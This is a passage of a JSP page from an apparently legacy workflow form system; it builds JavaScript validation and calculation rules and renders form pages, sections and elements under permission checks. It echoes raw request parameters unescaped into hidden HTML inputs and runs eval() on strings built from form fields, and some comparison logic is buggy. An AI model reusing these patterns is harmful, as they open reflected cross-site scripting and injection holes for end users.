      String operationEquation = TextUtility.replaceString((String)formRoutingRule.getFormOperationEquation(), "!!!", "+");
      String formEquation = TextUtility.replaceString((String)formRoutingRule.getFormEquation(), "!!!", "+");
      String[] tmpItemArr = TextUtility.splitString(operationEquation, "|");
      String tmpElement = "";

      //Begin Opteration Type is Number.
      if (WorkflowStepFormEquat.OPERATION_TYPE_NUMBER.equals(opterationType)){

        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            %>
            tmpexpression += frm.FB_FIELD_<%=tmpElement%>.value;
            if (sCompare==""){
              operand1 += frm.FB_FIELD_<%=tmpElement%>.value;
            }else{
              operand2 += frm.FB_FIELD_<%=tmpElement%>.value;
            }
            <%
          } else {%>
            tmpexpression +=  "<%=tmpItemArr[j].trim()%>";
            if ("<%=tmpItemArr[j].trim()%>".indexOf(">=<")){
              sCompare = "<%=tmpItemArr[j].trim()%>";
            }
            if (sCompare==""){
              operand1 += frm.FB_FIELD_<%=tmpElement%>.value;
            }else{
              operand2 += frm.FB_FIELD_<%=tmpElement%>.value;
            }
          <%
          }
        }

        %>

        if (operand1!="" && operand2!=""){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }

        if (bExpress){
          <%
          if (!Utility.isEmpty(targetElementID) && FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){
            FormElement formElement = (FormElement)formElementDAO.getObjectByID(new Integer(targetElementID));
            %>
            if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().toString().length())%>.value==""){
              alert("<%=formElement.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (false);
            }
        <%}%>
        }else{
           <%if (Utility.isEmpty(targetElementID) || !FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){  %>
            if (isCheck){
              alert("<%=formEquation%>");
              return (false);
            }
          <%}%>
        }
    <%}else if (!Utility.isEmpty(opterationType) && WorkflowStepFormEquat.OPERATION_TYPE_DATE.equals(opterationType)){
      //End Opteration Type is Number.
      //Begin Opteration Type is DatePicker.
        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            if (j==0){
            %>
              operand1 = (frm.FB_FIELD_<%=tmpElement%>.value).substring(0,10);
           <%
            }else{
            %>
              operand2 = (frm.FB_FIELD_<%=tmpElement%>.value).substring(0,10);
            <%
            }
          }else if(WorkflowStepFormEquat.DATE_OPERATION_BEFORE.equals(tmpItemArr[j].trim())){%>
            sCompare = "<";
        <%}else if(WorkflowStepFormEquat.DATE_OPERATION_EQUALS.equals(tmpItemArr[j].trim())){%>
            sCompare = "=";
        <%}else if(WorkflowStepFormEquat.DATE_OPERATION_AFTER.equals(tmpItemArr[j].trim())){%>
            sCompare = ">";
        <%}else {
            if (j>0){
          %>
              operand2 = "<%=tmpItemArr[j].trim().substring(0,10)%>";
          <%
            }else{
          %>
              operand1 = "<%=tmpItemArr[j].trim().substring(0,10)%>";
          <%}
          }
        }
        %>
        tmpexpression = "'"+operand1+"'" + sCompare + "'"+operand2+"'";
        if (operand1!="" && operand2!=""){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }
        if (bExpress){
            <%
          if (!Utility.isEmpty(targetElementID) && FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){
            FormElement formElement = (FormElement)formElementDAO.getObjectByID(new Integer(targetElementID));
            %>
            if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().toString().length())%>.value==""){
              alert("<%=formElement.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (false);
            }
         <%}%>
        }else{
           <%if (Utility.isEmpty(targetElementID) || !FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){  %>
            if (isCheck){
              alert("<%=formEquation%>");
              return (false);
            }
          <%}%>
        }

    <%}else if (!Utility.isEmpty(opterationType) && WorkflowStepFormEquat.OPERATION_TYPE_STRING.equals(opterationType)){
      //End Opteration Type is DatePicker.
      //Begin Opteration Type is String.
        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            if (j==0){
            %>
              operand1 = frm.FB_FIELD_<%=tmpElement%>.value;
           <%
            }else{
            %>
              operand2 = frm.FB_FIELD_<%=tmpElement%>.value;
            <%
            }
          }else if(WorkflowStepFormEquat.STRING_OPERATION_EQUALS.equals(tmpItemArr[j].trim())){%>
            sCompare = "==";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_NOT_EQUALS.equals(tmpItemArr[j].trim())){%>
            sCompare = "!=";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_IS_EMPTY.equals(tmpItemArr[j].trim())){%>
            sCompare = "==";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_IS_NOT_EMPTY.equals(tmpItemArr[j].trim())){%>
            sCompare = "!=";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_CONTAINS.equals(tmpItemArr[j].trim())){%>
            sCompare = "indexOf";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_STARTS_WITH.equals(tmpItemArr[j].trim())){%>
            sCompare = "startWith";
        <%}else {
            if (j>0){
          %>
              operand2 = "<%=tmpItemArr[j].trim()%>";
          <%
            }else{
          %>
              operand1 = "<%=tmpItemArr[j].trim()%>";
          <%}
          }
        }
        %>

        if (sCompare!="indexOf" && sCompare!="startWith"){
          tmpexpression = "'"+operand1+"'" + sCompare + "'"+operand2+"'";
        }else if (sCompare=="indexOf"){
          for (var n = 0; n < operand1.length; n++) {
            if (operand2.indexOf(operand1.substring(n, n+1)) > -1) {
              bExpress=true;
              break;
            }else{
        isCheck = true;
            }
          }
        }else if (sCompare=="startWith"){
          tmpexpression = operand1.substring(0,operand2.length) == operand2;
        }

        if (operand1!="" && operand2!="" && sCompare!="==" &&  sCompare!="!=" && sCompare!="indexOf"){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }else if (sCompare=="==" || sCompare=="!="){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }

        if (bExpress){
            <%
          if (!Utility.isEmpty(targetElementID) && FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){
            FormElement formElement = (FormElement)formElementDAO.getObjectByID(new Integer(targetElementID));
            %>
            if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().toString().length())%>.value==""){
              alert("<%=formElement.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (false);
            }
        <%}%>
        }else{
           <%if (Utility.isEmpty(targetElementID) || !FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){  %>
            if (isCheck){
              alert("<%=formEquation%>");
              return (false);
            }
          <%}%>
        }

     <%}%>

      //End Opteration Type is String.
    <%
     }
  }
 //End check Routing Rule.
 %>
  return true;
}

<%//Generate js function.
  //Begin check Routing Rule,the rule type is caculate.
  for (int mm=0; mm<routingRuleList.size(); mm++){
    FormRoutingRule formRoutingRule = (FormRoutingRule)routingRuleList.get(mm);
    if (FormRoutingRule.ROUTING_TYPE_CALCULATE.equals(formRoutingRule.getRuleType())){
      String targetElementName = formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().length());
      String equation = TextUtility.replaceString((String)formRoutingRule.getFormOperationEquation(), "!!!", "+");
      String[] expressionArr = TextUtility.splitString(equation, "=");
      String expression = expressionArr[1];
      String[] tmpItemArr = TextUtility.splitString(expression, "|");
      String tmpElement = "";
      onchangeElementIDStr = targetElementName+"$";
    %>
      function opChangeElement_<%=targetElementName%>(){
        frm = document.maintFormSubmissionForm;
        frm.FB_FIELD_<%=targetElementName%>.value = "";
        var tmpexpression ="";
        <%
        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].trim().startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            onchangeElementIDStr +=  tmpElement+"|";
            %>
            if (!isNaN(frm.FB_FIELD_<%=tmpElement%>.value)){
              tmpexpression += frm.FB_FIELD_<%=tmpElement%>.value;
            }
            <%
          } else {%>
            tmpexpression +=  "<%=tmpItemArr[j]%>";
          <%
          }
        }
        %>
        var sExpressionLastLetter = tmpexpression.substring(tmpexpression.length-1,tmpexpression.length);
        if (sExpressionLastLetter!="+" && sExpressionLastLetter!="*" && sExpressionLastLetter!="-" && sExpressionLastLetter!="/"){
          frm.FB_FIELD_<%=targetElementName%>.value= eval(tmpexpression);
        }else if (tmpexpression.length>1){
          frm.FB_FIELD_<%=targetElementName%>.value= eval(tmpexpression.substring(0,tmpexpression.length-1));
        }
      }
    <%
    }
  }
    //End check Routing Rule,the rule type is calculate.
  %>

-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<html:hidden property='submitFlag'/>

<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'/>
<input type="hidden" name="formPageID" value="<%=pageID%>"/>
<input type="hidden" name="formPageNo" value="<%=formPageNo%>"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>
<input type="hidden" name="formSubmissionID" value='<%=request.getParameter("formSubmissionID")%>'/>
<input type="hidden" name="isWorkflowViewFlag" value='<%=request.getParameter("isWorkflowViewFlag")%>'/>
<input type="hidden" name="progressID" value='<%=request.getParameter("progressID")%>'/>
<input type="hidden" name="workflowStepID" value='<%=request.getParameter("workflowStepID")%>'/>
<input type="hidden" name="wfRecordID" value='<%=request.getParameter("wfRecordID")%>'/>
<input type="hidden" name="wfTrackID" value='<%=request.getParameter("wfTrackID")%>'/>
<input type="hidden" name="wfNavMode" value='<%=request.getParameter("wfNavMode")%>'/>
<input type="hidden" name="hideTitle" value='<%=request.getParameter("hideTitle")%>'/>
<input type="hidden" name="submitFunction" value='<%=request.getParameter("submitFunction")%>'/>
<input type="hidden" name="isShowHeader" value='<%=request.getParameter("isShowHeader")%>'/>  <!--wf task from worklist page or home page   -->
<input type="hidden" name="functionFrom" value='<%=request.getParameter("functionFrom")%>'> <!--return list page for return button -->
<input type="hidden" name="isViewTask" value='<%=request.getParameter("isViewTask")%>'>
<input type="hidden" name="isSubmission" value='<%=isSubmission%>'>
<input type="hidden" name="isShowWholeForm" value='<%=request.getParameter("isShowWholeForm")%>'>
<input type="hidden" name="ID" value="<%=TextUtility.noNull(formSubmissionID)%>">
<input type="hidden" name="isStartSubmit" value=""/>

<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>
<!-- =======================================Page Title Section============================================= -->
<%if (Utility.isEmpty(request.getParameter("hideTitle")) || "null".equals(request.getParameter("hideTitle"))){ //in EditWorkflowTask.jsp then hide the title.%>

<!-- =======================================End Page Title Section======================================== -->

<!-- System Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td>

  <%if ( !Utility.isEmpty(request.getAttribute("updateMessage")) ) {%>
      <UL TYPE="square" class="systemMessage">
        <LI>
          <%=request.getAttribute("updateMessage")%>
        </LI>
      </UL>
  <%}if ( !Utility.isEmpty(request.getAttribute("saveDrafMessage")) ) {%>
      <UL TYPE="square" class="systemMessage">
        <LI>
          <%=request.getAttribute("saveDrafMessage").toString()%>
        </LI>
      </UL>
  <%}%>
    </td>
  </tr>
</table>
<%} // end in EditWorkflowTask.jsp then hide the title.
 }// End if Consolidated View in FormTracking, then not display
  %>

<!-- =================================End Page Title Section=========================================== -->
<layout:tabContainer id="tab1">
<%if (request.getAttribute("SHOW_HEADER_FOOTER")==null || !("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER"))) && Utility.isEmpty(request.getParameter("trackID"))){%>
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
<%}%>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
    </layout:tabBar>
 <div id="basicTab" class="tabContent">

<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>
<!-- ===============================begin display form title and form code======================================= -->
<table border="0" width="100%">
  <tr>
    <td align="center" colspan="2"><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
  </tr>
  <tr align="center" >
    <td style="font-size:12pt" width="90%"><b><%=formRecord.getTitle()%>  -  <%=formRecord.getFormCode()%> [<%=formRecord.getFormVersion()%>]</b></td>
    <td align="right" width="10%">
      <div id="noprint">
        <html:standardButton label="common.label.print" onClick="return FormNavPrint();"/>
      </div>
    </td>
  </tr>
</table>
<!--====================================end display form title and form code================================-->
<%}// End if Consolidated View in FormTracking, then not display.%>

<!-- begin table 1 -->
<table cellpadding="0" cellspacing='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?5 :20%>' border="0" width="100%">
  <tr>
    <td>
<!-- begin table 2 -->
      <table cellpadding="0" cellspacing="0" border="0" width="100%">
        <tr>
          <td>
  <!-- ==================================== Superpose Page Head Begin ======================================= -->
  <jsp:include page="IncludeFormTab.jsp">
    <jsp:param name="prefixPageHeadDiv" value="<%=PRE_PAGE_HEAD_DIV%>"/>
    <jsp:param name="prefixPageContentDiv" value="<%=PRE_PAGE_CONTENT_DIV%>"/>
    <jsp:param name="isPreview" value="<%=!Utility.isEmpty(sPreviewValue)%>"/>
    <jsp:param name="opMode" value="<%=!Utility.isEmpty(maintFormSubmissionForm.getOpMode())%>"/>
    <jsp:param name="formRecordID" value="<%=maintFormSubmissionForm.getFormRecordID()%>"/>
    <jsp:param name="workflowStepID" value="<%=workflowStepID%>"/>
    <jsp:param name="isViewUserStep" value="<%=isViewUserStep%>"/>
    <jsp:param name="isShowWholeForm" value="<%=isShowWholeForm%>"/>
  </jsp:include>
  <!-- =================== Superpose Page Head End ==================== -->
          </td>
        </tr>
        <tr>
          <td>
<!-- begin table 3 -->
            <table bgcolor="#999999" width="100%" height="100%" cellpadding="0" cellspacing="1"><tr><td bgcolor="#FFFFFF">

   <!--=================================begin table for display page,section,element=============================-->

            <table width="100%" cellpadding="0" cellspacing="0" border="0" >
              <tr>
                <td colspan="2">
<!-- ************************************** Start of Form Border ********************************** -->
<%
  formRecordPermission = "";

  pagePermission  = "";
  sectionPermission = "";
  elementPermission = "";

  FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);
  if ("T".equals(request.getParameter("preview"))){ //FORM SETUP PREVIEW.
     formRecordPermission = WorkflowStep.FORM_PROCESS_PERMISSION_SUBMIT;
  }
  for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);
    pageID = formPage.getID();
    if (!"T".equals(request.getParameter("preview"))){
      formRecordPermission = formPage.getFormRecordPermission();
    }
    if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(formRecordPermission)){
      formRecordPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
    }
    if (WorkflowStep.FORM_PROCESS_PERMISSION_SUBMIT.equals(formRecordPermission)){
       hasCheckPermission = false;
    }

    if (hasCheckPermission){

      if (!Utility.isEmpty(formPage.getPermission())){

         pagePermission = formPage.getPermission();
       if("I".equals(formPage.getPermission())) {
         pagePermission = formRecordPermission;
        }
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(pagePermission)){
         pagePermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
    if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(pagePermission)){
      continue;
    }
    }
    //check page permission for page label.
    boolean hasPagePermission = formSubmissionManager.getFormPagePermissionByRecordPageIDStepID(new Integer(request.getParameter("formRecordID")),pageID,workflowStepID,isViewUserStep);
    //if (isViewUserStep && !hasPagePermission && (Utility.isEmpty(pagePermission)||"null".equals(pagePermission) || WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(pagePermission))){
    //  continue;
    //} //view read
    if ((!SystemFunctionConstant.FORM_SUBMISSION.equals((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)))&&!hasPagePermission && !isShowWholeForm &&(Utility.isEmpty(pagePermission)||"null".equals(pagePermission))){
      continue;
    }
    allPageIDStr += pageID + ",";
%>
  <!--######################################## Page Table Begin ############################################### -->
                <span id="<%=PRE_PAGE_HEAD_DIV + formPage.getID().toString()%>">
                  <table border=0 cellspacing="0" cellpadding="0" width="100%">
                    <tr align="left">
                      <td valign="top" width="100%"></td>
                    </tr>
<!-- ************************************** Start of Form Content ********************************** -->
                    <tr>
                      <td align="center">&nbsp;</td>
                    </tr>
                  </table>
                </span>
<!-- ==================================== Page Head Table End   ===================================== -->
                <span id="<%=PRE_PAGE_CONTENT_DIV + formPage.getID().toString()%>">
<!--  ################################### Section Table Begin ######################################### -->
<%
  //get the form section list
  Integer elementID;
  List formSectionList = formPage.getFormSectionList();
  for (int i=0; i<formSectionList.size(); i++) {

    FormSection tmpFormSection = (FormSection) formSectionList.get(i);
    sectionID = tmpFormSection.getID();

    if (hasCheckPermission){

       if (!Utility.isEmpty(tmpFormSection.getPermission())){
         sectionPermission = tmpFormSection.getPermission();
           if("I".equals(tmpFormSection.getPermission())){
             sectionPermission = pagePermission;
         }
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(sectionPermission)){
         sectionPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
    if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(sectionPermission)){continue;}
    }
    //check section permission for section label.
    boolean hasSectionPermission = formSubmissionManager.getFormSectionPermissionByRecordPageIDSectionIDStepID(new Integer(request.getParameter("formRecordID")),pageID,sectionID,workflowStepID,isViewUserStep);
    if ((!SystemFunctionConstant.FORM_SUBMISSION.equals((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)))&&isViewUserStep && !hasSectionPermission && (Utility.isEmpty(sectionPermission)||"null".equals(sectionPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(sectionPermission))){
      continue;
    } //view read
    if ((!SystemFunctionConstant.FORM_SUBMISSION.equals((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)))&&!hasSectionPermission && !isShowWholeForm && (Utility.isEmpty(sectionPermission)||"null".equals(sectionPermission))){
      continue;
    }
    allSectionIDStr += sectionID + ",";
%>
<!-- ====================================================================== -->

<!--  ########################################### Section Table Begin ######################################## -->
<!-- ============================================ Section Head Table Begin =================================== -->

                  <table width="100%" border="0"><!-- Section table -->
                    <tr>
                      <td align="<%if (tmpFormSection.getsectionPosition()!=null){
                                     if ("C".equals(tmpFormSection.getsectionPosition()))out.print("center");
                                     if ("L".equals(tmpFormSection.getsectionPosition()))out.print("left");
                                     if ("R".equals(tmpFormSection.getsectionPosition()))out.print("right");
                                 }%>">
                        <font style='<% String tmpFontStyle="";
                                        if (tmpFormSection.getsectionFontStyle()!=null){
                                          for (int k=0; !Utility.isEmpty(tmpFormSection.getsectionFontStyle()) && k < tmpFormSection.getsectionFontStyle().length(); k++){
                                            if ("B".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
                                              tmpFontStyle += "font-weight: bold;";
                                            }else if ("U".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
                                              tmpFontStyle += "text-decoration: underline;";
                                            }else if ("I".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
                                              tmpFontStyle += "font-style: italic;";
                                            }
                                          }
                                        }out.print(tmpFontStyle);
         if(TextUtility.parseInteger(tmpFormSection.getsectionFontSize())>0) {
           out.print("font-size:"+tmpFormSection.getsectionFontSize()+"pt;");
         }
         if (!Utility.isEmpty(tmpFormSection.getsectionFontType())) {
           out.print("font-family:"+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+tmpFormSection.getsectionFontType())+";");
         }%>color:<%=tmpFormSection.getsectionFontColor()%>;' >
         <% if(!WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(tmpFormSection.getPermission()) || (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode())&& isShowWholeForm)) {%>
              <%=tmpFormSection.getTitle()%>
         <%}%>
                        </font>
                      </td>
                    </tr>
                    <% if(!WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(tmpFormSection.getPermission()) || (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode()) && isShowWholeForm)) {%>
                    <tr>
                      <td align="center" bgcolor="black" colspan=1><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
                    </tr>
                    <%}%>
                  </table>
<!-- ====================================== Section Head Table End   ======================================== -->

<!--  ###################################### Element Table Begin ############################################ -->

                  <table width="100%" border="0" cellpadding="0" cellspacing="0"><!-- Element table -->
<%
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();

    int colIndex=0;
    for (int j=0; j<formElementList.size(); j++) {
      isStepElementChange = false;
      isStepElementRead = false;
      isStepElementDisabled = true;
      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      elementID = tmpFormElement.getID();
      if (hasCheckPermission){

        if (!Utility.isEmpty(tmpFormElement.getPermission())){
           elementPermission = tmpFormElement.getPermission();

          if("I".equals(tmpFormElement.getPermission())){
             elementPermission = sectionPermission;
             }
        }else {
           elementPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
        }
        if (WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(elementPermission)){
          isStepElementChange = false;
          isStepElementRead = true;
          isStepElementDisabled = false;
        } else if (WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE.equals(elementPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(elementPermission)){
          isStepElementChange = true;
          isStepElementRead = false;
          isStepElementDisabled = false;
        } else {
          isStepElementDisabled = true;
        }
      }else{
        isStepElementDisabled = false;
        isStepElementChange = true;
        isStepElementRead = false;
      }
      // if view step, then display edited elements.
      if ((!SystemFunctionConstant.FORM_SUBMISSION.equals((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)))&&isViewUserStep && !isShowWholeForm && (isStepElementDisabled || isStepElementRead)){
        continue;
      }
      if (isViewTask.equals("Y")  || (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE))){  //view
        if (isStepElementChange){
           isStepElementChange = false;
           isStepElementRead = true;
           isStepElementDisabled = false;
        }
      }
      String elementAlign = "left";
      Integer fontSize;
      String fontColor = "";
      String fontStyle = "";
      String labelPosition = "";
      String fontType = "";
      String preFontStyle = "<font ";        //Prefix  FontStyle
      String posFontStyle = "</font>";       //Postfix FontStyle
      String nextFontStyle = "";
      String leftPosition = "";
      String topPosition = "";
      fontSize = tmpFormElement.getFontSize();
      fontColor = tmpFormElement.getFontColor();
      fontStyle = tmpFormElement.getFontStyle();
      fontType = tmpFormElement.getFontType();
      labelPosition = tmpFormElement.getLabelPosition();

    if(!Utility.isEmpty(fontStyle) || !Utility.isEmpty(fontSize) ||
     !Utility.isEmpty(fontColor) || !Utility.isEmpty(fontType)){
     preFontStyle += " style='";
    }
      //handel Font Style
      if (!Utility.isEmpty(fontStyle)) {
        //preFontStyle += " style='";
        for (int k=0; k < fontStyle.length(); k++) {
          if ("B".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "font-weight: bold;";
          } else if ("U".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "text-decoration: underline;";
          } else if ("I".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "font-style: italic;";
          }
        }
      }

      if (!Utility.isEmpty(fontSize)) {
        preFontStyle += " font-size:" + fontSize+"pt;";
      }
      if (!Utility.isEmpty(fontColor)) {
        preFontStyle += " color:" + fontColor+";";
      }
      if (!Utility.isEmpty(fontType)) {
        preFontStyle += " font-family:" +
          MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+fontType) +";";
      }
      if(preFontStyle.indexOf("'") >-1) {
        preFontStyle += "'";
      }
      preFontStyle += ">";
      if (preFontStyle.length() < 10) { // if not set the FontStyle of the element
        preFontStyle = "";
        posFontStyle = "";
      }

      //handel the position
      if (!Utility.isEmpty(labelPosition)) {
        if (tmpFormElement.isLeftLabelPosition(labelPosition)) {
          elementAlign = "left";
          leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
        } else if (tmpFormElement.isCenterLabelPosition(labelPosition)) {
          elementAlign = "center";
          leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
        } else if (tmpFormElement.isRightLabelPosition(labelPosition)) {
          elementAlign = "right";
          leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
        } else if (tmpFormElement.isTopLabelPosition(labelPosition)) {
          topPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "<br>";
        } else if (tmpFormElement.isHiddenLabelPosition(labelPosition)){
          leftPosition = "";
          topPosition = "";
        }
      } else {
        leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
      }
      FormAttachDAObject      formAttachDAO = new FormAttachDAObject(sessionContainer,conn);
      FormAttach      formAttach=null;
      if (formAttachDAO.getObjectByID(elementID)!=null) {
        formAttach = (FormAttach)formAttachDAO.getObjectByID(elementID);
      }

      //get the element value from Form_Data_Element
      String elementValue = "";
      String formDataIDStr = "";
      boolean isAuditColor = false; // set color for audit trail.
      List attachmentList = new ArrayList();
      if(!Utility.isEmpty(formSubmissionID) && !"".equals(formSubmissionID)){
        submissionID = Integer.valueOf(formSubmissionID);
        FormDataDAObject formDataDAO = new FormDataDAObject(sessionContainer,conn);
        FormFileAttachmentDAObject formFileAttachDAO = new FormFileAttachmentDAObject(sessionContainer,conn);

        try {
           List formDataList = null;
           if(!Utility.isEmpty(request.getParameter("progressID")) && !"null".equals(request.getParameter("progressID"))){  // falcon_add_6132
            String navMode = request.getParameter("navMode");
             //add by greatwall.shao
             Integer preProgressID=new Integer(request.getParameter("progressID"));
             // Get the latest record of current progress.
             // formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSectionSeqSubmissionIDElementIDElementSeqProgressID(pageID,sectionID,new Integer(sectionSeq),submissionID,elementID,new Integer(elementSeq),preProgressID);
             formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDProgressID(pageID,sectionID,submissionID,elementID,preProgressID);
             // Get the latest record of previous progress if there are any record exist of current progress.
             if (Utility.isEmpty(formDataList)) {
             WorkflowProgressDAObject wfProgressDAO  = new WorkflowProgressDAObject(sessionContainer,conn);
             WorkflowProgress wfProgress = (WorkflowProgress)wfProgressDAO.getObjectByID(preProgressID);
             /* Whatever status current progress be, we should fetch the form data of last progress if current's is empty.
             if(wfProgress.getStatus().trim().equalsIgnoreCase(WorkflowProgress.STATUS_PENDING))
             {
               */
             MtmWfProgressWfProgressDAObject mtmWfProgressDAO = new MtmWfProgressWfProgressDAObject(sessionContainer,conn);
              List mtmWfProgressList = mtmWfProgressDAO.getListByChildProgressID(preProgressID);
              if((null!=mtmWfProgressList)&&(mtmWfProgressList.size()>0))
              {
                if(mtmWfProgressList.get(0)!=null)
                {
                 MtmWfProgressWfProgress tmpMtmWfProgressWfProgress = (MtmWfProgressWfProgress)mtmWfProgressList.get(0);
                  if(tmpMtmWfProgressWfProgress.getParentProgressID()!=null)
                  {
                   preProgressID= tmpMtmWfProgressWfProgress.getParentProgressID();
                  }
         }
              }
              /*
             }
             */
             //add by greatwall.shao
             formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDProgressID(pageID,sectionID,submissionID,elementID,preProgressID);

             // If current progress is pending status, display the latest record
             // if we cannt fetch any record bind with current progress and his parent's progress.
             if (Utility.isEmpty(formDataList)
                 && wfProgress.getStatus().trim().equalsIgnoreCase(WorkflowProgress.STATUS_PENDING)) {
               formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementID(pageID,sectionID,submissionID,elementID);
             }
             }
           }else{
              formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementID(pageID,sectionID,submissionID,elementID);
           }
          //display submit for workflow list view step.
          Integer formDataSeqNo = new Integer(-1);
          if (isViewUserStep && !isShowLastRecord && !"null".equals(request.getParameter("progressID")) && !"ListFormAuditTrail".equals(request.getParameter("functionFrom"))){
            formDataSeqNo = (!Utility.isEmpty(request.getParameter("formDataSeq")) && !"null".equals(request.getParameter("formDataSeq"))) ? new Integer(request.getParameter("formDataSeq")) : formDataElementDAO.getFormDataSeqIDBySectionIDElementIDSubmissionIDWFProgressID(sectionID,elementID,submissionID,new Integer(request.getParameter("progressID")),new Integer(request.getParameter("userRecordID")));
            if (formDataSeqNo.intValue()>0){
